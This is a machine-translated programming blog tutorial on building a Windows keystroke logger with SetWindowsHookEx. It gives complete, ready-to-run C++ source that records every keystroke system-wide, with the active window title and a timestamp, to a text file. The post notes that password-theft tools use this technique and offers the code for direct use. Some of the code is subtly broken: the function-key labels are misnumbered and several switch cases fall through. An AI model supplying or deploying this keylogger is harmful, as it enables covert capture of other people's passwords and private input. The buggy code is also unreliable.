Teach you how to make a keyboard recorder with SetWindowsHookEx

Posted by fahrvergnuugen on Sat, 20 Nov 2021 14:09:57 +0100

"Wuji, how much do you remember what I taught you?"
"Master Hui, I only remember more than half."
"And now?"
"There is less than half left."
"And now?"
"I've forgotten everything!"
"OK, you can go!"

Envy Zhang Wuji, forget his martial arts and defeat the enemy; I forgot my martial arts and cried.

I haven't touched this for more than a year. I forgot it completely. Fortunately, the muscle memory is still there. It's very kind to learn. I don't talk much nonsense and get to the point.

preface

Hook is one of the most flexible skills in programming. Under windows, hook has two meanings:
1. The message hook mechanism provided by the system, that is, the hook we want to implement today, will be discussed later.
2. Custom Hook programming skills

Custom Hook programming skills are an advanced technology based on specific system structure, file structure and assembly language. When used freely, it is like holding a dragon killing knife and leaning on the sky sword.

Operating environment:

visual studio 2015

Windows 10

Message Hook

Windows message hook is mainly disconnected through SetWindowsHookEx and UnhookWindowsHookEx(), so we mainly learn to use these two functions next.

The reason why we can perform message Hook is because of the message mechanism of Windows; In short:

Windows system is based on the event driven mechanism. Each event is a message. Each running program, that is, the so-called process, maintains one or more message queues. The number of message queues depends on the number of threads contained in the process. Since a process must have at least one thread, a process must have at least one message queue. Although the message dispatch of windows system is based on threads, not all threads have message queues. A newly created thread does not have message queues. Windows creates message queues for threads only when the thread calls GDI or USER32 library functions for the first time. Messages are finally processed by the window belonging to the thread. Ordinary applications can only get the messages in the message queue of the thread, that is, they can only get the messages assigned by the system and belonging to the thread. In other words, a thread does not know what happened to other threads during operation. However, there is a special kind of program that can access the message queue of other threads, that is, hook program.

(Windows message mechanism is still very important. I won't repeat it here. Understanding these contents is enough for our next study. If you want to know more, I suggest reading this article https://zhuanlan.zhihu.com/p/42992978)

Writing a hook program is a mechanism provided by the Windows system to the user to intervene in the running process of Windows. Through the hook program, Windows exposes the internal flowing messages to the user, so that the user can carry out special processing on the messages before they are dispatched by the window manager, such as tracking the message flow when debugging the program. However, everything has its two sides. Some password theft tools use the system keyboard hook to intercept the keyboard messages of other programs, so as to obtain the passwords entered by users. It can be seen that illegal hook programs are very harmful to computer information security.

(then today we will implement a simple keyboard recorder through message hook. Hey, know yourself and the enemy, and you will be invincible in a hundred battles)!

Message Hook process

Step 1: install the hook

Last step: unload the hook

Intermediate step: we need to implement the callback function to realize our own operation. For example, get keyboard input information and save it to txt file

Implementation of keyboard recorder through setWindowsHookEx()

Implementation principle

When the keyboard is pressed, a message is generated, and the key message is added to the system message queue. The operating system takes out the message from the message queue and adds it to the message queue of the corresponding program;

The application uses the message Hook to fetch the message WM from its own message queue_ Keydown, call the message processing function. We can add message hooks between system message queues so that messages can be captured before they are sent to applications.

You can add hooks multiple times to form a hook chain, and you can call functions in turn.

Installation hook

SetWindowsHookEx

WINUSERAPI
HHOOK
WINAPI
SetWindowsHookEx(
     //Hook Type 
    _In_ int idHook,
    //Callback function address
    _In_ HOOKPROC lpfn,
    //Instance handle (including hook function)
    _In_opt_ HINSTANCE hmod,
    //Thread ID, the thread to be hooked (if it is 0, it is not specified, global)
    _In_ DWORD dwThreadId);

The hook types that can be set are as follows:

Macro valuemeaning
WH_MSGFILTERIntercepts messages that the user interacts with the control
WH_KEYBOARDIntercepting keyboard messages
WH_GETMESSAGEIntercepts messages sent from the message queue
WH_CBTIntercept basic system messages, activate, establish, destroy, minimize, maximize, move, change size and other window events
WH_MOUSEIntercepting mouse messages
WH_CALLWNDPROCRETIntercepts the processed message of the target window

Here is the hook keyboard message:

SetWindowsHookEx(
		WH_KEYBOARD_LL, //  low-level keyboard input events
        HookProcedure, //  Callback function address
        GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure 
        NULL //Thread ID, the thread to be hooked (if it is 0, it is not specified, global)
    );

Use the API function SetWindowsHookEx() to install an application defined Hook procedure into the Hook linked list. The SetWindowsHookEx function always installs the Hook subroutine at the beginning of the Hook chain. When an event monitored by a specified type of Hook occurs, the system calls the Hook subroutine at the beginning of the Hook chain associated with the Hook. The Hook subprocess in each Hook chain decides whether to pass this event to the next Hook subprocess. The Hook subprocess needs to call the CallNextHookEx function to pass the event to the next Hook subprocess.

Sets the hook for the next subroutine in the hook chain. In the hook procedure, calling the hook function with control function after processing the message, if it wants to continue the message, it must call the API function CallNextHookEx in another SDK to pass it to execute the next hook procedure referred to in the hook list.

WINUSERAPI
LRESULT
WINAPI
CallNextHookEx(
    //Hook handle, returned by SetWindowsHookEx() function.
    _In_opt_ HHOOK hhk,
    
    //Hook event code, the event code of the hook process of the callback function
    _In_ int nCode,
    
    //The wParam value passed to the hook routine
    _In_ WPARAM wParam,
    
    //lParam value passed to hook subroutine
    _In_ LPARAM lParam);

Unloading hook

Uninstall the hook API. After using the hook, you need to uninstall it with UnhookWindowsHookEx(), otherwise it will cause trouble.

WINUSERAPI
BOOL
WINAPI
UnhookWindowsHookEx(
     //Handle to the hook to delete. This parameter is the return value of the previous function SetWindowsHookEx
    _In_ HHOOK hhk);

Keyboard record

The main functions are realized through the callback function HookProcedure() in the SetwindowsHookEx() parameter.

LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)

In it, we will obtain the state of 256 virtual keys and convert them into real characters

[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-fwkl4x3e-1631233055133) (C: \ users \ 11073 \ appdata \ roaming \ typora \ typora user images \ image-20210908224511747. PNG)]

Output: Here we write two ways

1. Output to console

2. Output to text and save

Some logic

Obtain the current window and current time;

Save the recorded keyboard message to a file;

effect

x86 effect:

x64 bit

Save in txt file

Code

github download, can be used directly, or modify the test
Link: windows hook.

//  Using SetWindowsHookEx to implement keyboard recorder
#include <Windows.h>
#include <string>
#include <fstream>
#include <sstream>
#include <iostream>
#include "keyboard message Hook.h"
#include "vld.h"
//  Global keyboard Hook handle
HHOOK kKeyboardHook;
//  Shift Key 
BOOL bShift = FALSE;
//  Store keyboard messages
std::string fileName = "D:\\test.txt";
//  Windows Title Text -260 char-
char cWindow[1000];
//  NULL is ok
HWND lastWindow = NULL;
int main()
{
    std::cout << "start !" << std::endl;
    //  Set keyboard hook
    if (!HookKeyBoard())
    {
        std::cout << "Hook KeyBoard Failed!" << std::endl;
    }
    unhookKeyboard();//Release hook
}

/********************************************************
The keyboard hook() function sets the keyboard hook
 Return value: whether the hook succeeded
*********************************************************/
BOOL HookKeyBoard()
{
    BOOL bRet = FALSE;

    kKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, //  low-level keyboard input events
                                    HookProcedure, //  Callback function address
                                    GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure 
                                    NULL //Thread ID, the thread to be hooked (if it is 0, it is not specified, global)
    );
    if (!kKeyboardHook) 
    {
        //  If SetWindowsHookEx fails
        std::cout << "[!] Failed to get handle from SetWindowsHookEx()" << std::endl;
    }
    else
    {
        std::cout << "[*] KeyCapture handle ready" << std::endl;
        MSG Msg{};  //  Unified initialization
        while (GetMessage(&Msg, NULL, 0, 0) > 0)
        {
            TranslateMessage(&Msg);
            DispatchMessage(&Msg);
        }
        bRet = TRUE;
    }
    return bRet;
}
/********************************************************
Function: hook callback
 Return value: whether the hook succeeded
*********************************************************/
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)
{
    std::ofstream myfile(fileName, std::ios::out | std::ios::app);
    BOOL  caps = FALSE;  //  Default uppercase off
    SHORT capsShort = GetKeyState(VK_CAPITAL);
    std::string outPut;
    std::stringstream ssTemp;  //  string character stream
    if (capsShort > 0)
    {
        //  If it is greater than 0, press the uppercase key to turn on uppercase; Conversely, lowercase
        caps = TRUE;
    }
    /*
    WH_KEYBOARD_LL uses the LowLevelKeyboardProc Call Back
    LINK = https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
    */
    //  LowLevelKeyboardProc Structure 
    KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
    //  The wParam and lParam parameters contain information about keyboard messages.
    if (nCode == HC_ACTION)
    {
        // Messsage data is ready for pickup
        // Check for SHIFT key
        if (p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT)
        {
            //  WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
            if (wParam == WM_KEYDOWN)
            {
                bShift = TRUE;
            }
            if (wParam == WM_KEYUP)
            {
                bShift = FALSE;
            }
            else
            {
                bShift = FALSE;
            }
        }
        //  Start Loging keys now we are setup
        if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)
        {
            //  Retrieves a handle to the foreground window (the window with which the user is currently working).
            HWND currentWindow = GetForegroundWindow();  //  Return to the foreground window to get the current window
            //  Check if we need to write new window output
            if (currentWindow != lastWindow)
            {
                SYSTEMTIME t{};
                GetLocalTime(&t);  //  Get current system time
                int day = t.wDay;
                int month = t.wMonth;
                int year = t.wYear;
                int hour = t.wHour;
                int min = t.wMinute;
                int sec = t.wSecond;
                int dayName = t.wDayOfWeek;
                //  Build our output header
                ssTemp << "\n\n[+] " << Dayofweek(dayName) << " - " << day << "/" << month << "/" << year << "  ";
                ssTemp << hour << ":" << min << ":" << sec;
                outPut.append(ssTemp.str());
                ssTemp.clear();
                //  GetWindowTextACCC
                int c = GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
                std::cout << c;
                ssTemp << " - Current Window: " << cWindow << "\n\n";
                //outPut.append(temp.str());
                std::cout << ssTemp.str() << std::endl;
                myfile << ssTemp.str();
                
                // Setup for next CallBackCC
                lastWindow = currentWindow;
            }
            //  Now capture keys
            if (p->vkCode)
            {
                ssTemp.clear();
                ssTemp << HookCode(p->vkCode, caps, bShift);
                std::cout << ssTemp.str();
                myfile << ssTemp.str();
                
            }
            //  Final output logic
        }
    }
    //  hook procedure must pass the message *Always*
    myfile.close();
    return CallNextHookEx(NULL, nCode, wParam, lParam);  //  hook chain
}
/********************************************************
Function action: time
 Return value: return time
*********************************************************/
std::string Dayofweek(int code)
{
    // Return Day of the year in text
    std::string name;
    switch (code)
    {
    case 0: name = "[SUNDAY]"; break;
    case 1: name = "[MONDAY]"; break;
    case 2: name = "[TUESDAY]"; break;
    case 3: name = "[WENSDAY]"; break;
    case 4: name = "[THURSDAY]"; break;
    case 5: name = "[FRIDAY]"; break;
    case 6: name = "[SATURDAY]"; break;
    default:
        name = "[UNKOWN]";
    }
    return name;
}


/********************************************************
The function converts the obtained keyboard message into characters
 Parameter Description: keyboard message obtained by DWORD code
BOOL caps Whether to turn on uppercase
BOOL shift Press shift
 Return value: converted character
*********************************************************/
std::string HookCode(DWORD code, BOOL caps, BOOL shift)
{
    std::string key;
    switch (code) // SWITCH ON INT
    {
        // Char keys for ASCI
        // No VM Def in header 
    case 0x41: key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break;
    case 0x42: key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break;
    case 0x43: key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break;
    case 0x44: key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break;
    case 0x45: key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break;
    case 0x46: key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break;
    case 0x47: key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break;
    case 0x48: key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break;
    case 0x49: key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break;
    case 0x4A: key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break;
    case 0x4B: key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break;
    case 0x4C: key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break;
    case 0x4D: key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break;
    case 0x4E: key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break;
    case 0x4F: key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break;
    case 0x50: key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break;
    case 0x51: key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break;
    case 0x52: key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break;
    case 0x53: key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break;
    case 0x54: key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break;
    case 0x55: key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break;
    case 0x56: key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break;
    case 0x57: key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break;
    case 0x58: key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break;
    case 0x59: key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break;
    case 0x5A: key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break;
        // Sleep Key
    case VK_SLEEP: key = "[SLEEP]"; break;
        // Num Keyboard 
    case VK_NUMPAD0:  key = "0"; break;
    case VK_NUMPAD1:  key = "1"; break;
    case VK_NUMPAD2: key = "2"; break;
    case VK_NUMPAD3:  key = "3"; break;
    case VK_NUMPAD4:  key = "4"; break;
    case VK_NUMPAD5:  key = "5"; break;
    case VK_NUMPAD6:  key = "6"; break;
    case VK_NUMPAD7:  key = "7"; break;
    case VK_NUMPAD8:  key = "8"; break;
    case VK_NUMPAD9:  key = "9"; break;
    case VK_MULTIPLY: key = "*"; break;
    case VK_ADD:      key = "+"; break;
    case VK_SEPARATOR: key = "-"; break;
    case VK_SUBTRACT: key = "-"; break;
    case VK_DECIMAL:  key = "."; break;
    case VK_DIVIDE:   key = "/"; break;
        // Function Keys
    case VK_F1:  key = "[F1]"; break;
    case VK_F2:  key = "[F2]"; break;
    case VK_F3:  key = "[F3]"; break;
    case VK_F4:  key = "[F4]"; break;
    case VK_F5:  key = "[F5]"; break;
    case VK_F6:  key = "[F6]"; break;
    case VK_F7:  key = "[F7]"; break;
    case VK_F8:  key = "[F8]"; break;
    case VK_F9:  key = "[F9]"; break;
    case VK_F10:  key = "[F10]"; break;
    case VK_F11:  key = "[F11]"; break;
    case VK_F12:  key = "[F12]"; break;
    case VK_F13:  key = "[F13]"; break;
    case VK_F14:  key = "[F14]"; break;
    case VK_F15:  key = "[F15]"; break;
    case VK_F16:  key = "[F16]"; break;
    case VK_F17:  key = "[F17]"; break;
    case VK_F18:  key = "[F18]"; break;
    case VK_F19:  key = "[F19]"; break;
    case VK_F20:  key = "[F20]"; break;
    case VK_F21:  key = "[F22]"; break;
    case VK_F22:  key = "[F23]"; break;
    case VK_F23:  key = "[F24]"; break;
    case VK_F24:  key = "[F25]"; break;
        // Keys
    case VK_NUMLOCK: key = "[NUM-LOCK]"; break;
    case VK_SCROLL:  key = "[SCROLL-LOCK]"; break;
    case VK_BACK:    key = "[BACK]"; break;
    case VK_TAB:     key = "[TAB]"; break;
    case VK_CLEAR:   key = "[CLEAR]"; break;
    case VK_RETURN:  key = "[ENTER]"; break;
    case VK_SHIFT:   key = "[SHIFT]"; break;
    case VK_CONTROL: key = "[CTRL]"; break;
    case VK_MENU:    key = "[ALT]"; break;
    case VK_PAUSE:   key = "[PAUSE]"; break;
    case VK_CAPITAL: key = "[CAP-LOCK]"; break;
    case VK_ESCAPE:  key = "[ESC]"; break;
    case VK_SPACE:   key = "[SPACE]"; break;
    case VK_PRIOR:   key = "[PAGEUP]"; break;
    case VK_NEXT:    key = "[PAGEDOWN]"; break;
    case VK_END:     key = "[END]"; break;
    case VK_HOME:    key = "[HOME]"; break;
    case VK_LEFT:    key = "[LEFT]"; break;
    case VK_UP:      key = "[UP]"; break;
    case VK_RIGHT:   key = "[RIGHT]"; break;
    case VK_DOWN:    key = "[DOWN]"; break;
    case VK_SELECT:  key = "[SELECT]"; break;
    case VK_PRINT:   key = "[PRINT]"; break;
    case VK_SNAPSHOT: key = "[PRTSCRN]"; break;
    case VK_INSERT:  key = "[INS]"; break;
    case VK_DELETE:  key = "[DEL]"; break;
    case VK_HELP:    key = "[HELP]"; break;
        // Number Keys with shift
    case 0x30:  key = shift ? "!" : "1"; break;
    case 0x31:  key = shift ? "@" : "2"; break;
    case 0x32:  key = shift ? "#" : "3"; break;
    case 0x33:  key = shift ? "$" : "4"; break;
    case 0x34:  key = shift ? "%" : "5"; break;
    case 0x35:  key = shift ? "^" : "6"; break;
    case 0x36:  key = shift ? "&" : "7"; break;
    case 0x37:  key = shift ? "*" : "8"; break;
    case 0x38:  key = shift ? "(" : "9"; break;
    case 0x39:  key = shift ? ")" : "0"; break;
        // Windows Keys
    case VK_LWIN:     key = "[WIN]"; break;
    case VK_RWIN:     key = "[WIN]"; break;
    case VK_LSHIFT:   key = "[SHIFT]"; break;
    case VK_RSHIFT:   key = "[SHIFT]"; break;
    case VK_LCONTROL: key = "[CTRL]"; break;
    case VK_RCONTROL: key = "[CTRL]"; break;
        // OEM Keys with shift 
    case VK_OEM_1:      key = shift ? ":" : ";"; break;
    case VK_OEM_PLUS:   key = shift ? "+" : "="; break;
    case VK_OEM_COMMA:  key = shift ? "<" : ","; break;
    case VK_OEM_MINUS:  key = shift ? "_" : "-"; break;
    case VK_OEM_PERIOD: key = shift ? ">" : "."; break;
    case VK_OEM_2:      key = shift ? "?" : "/"; break;
    case VK_OEM_3:      key = shift ? "~" : "`"; break;
    case VK_OEM_4:      key = shift ? "{" : "["; break;
    case VK_OEM_5:      key = shift ? "\\" : "|"; break;
    case VK_OEM_6:      key = shift ? "}" : "]"; break;
    case VK_OEM_7:      key = shift ? "'" : "'"; break; //TODO: Escape this char: "
                                                        // Action Keys
    case VK_PLAY:       key = "[PLAY]";
    case VK_ZOOM:       key = "[ZOOM]";
    case VK_OEM_CLEAR:  key = "[CLEAR]";
    case VK_CANCEL:     key = "[CTRL-C]";

    default: key = "[UNK-KEY]"; 
        break;
    }
    return key;
}


/********************************************************
The keyboard hook() function releases a keyboard hook
 Return value: void
*********************************************************/
void unhookKeyboard()
{
    if (kKeyboardHook != 0)
    {
       UnhookWindowsHookEx(kKeyboardHook);
    }
    exit(0);
}

reference material

[windows core programming] use of system messages and custom hooks

HOOK tutorial 1_ Windows message HOOK using SetWindowsHookEx

summary

After that, we will continue to update the hook series.

Topics: C C++ Windows visualstudio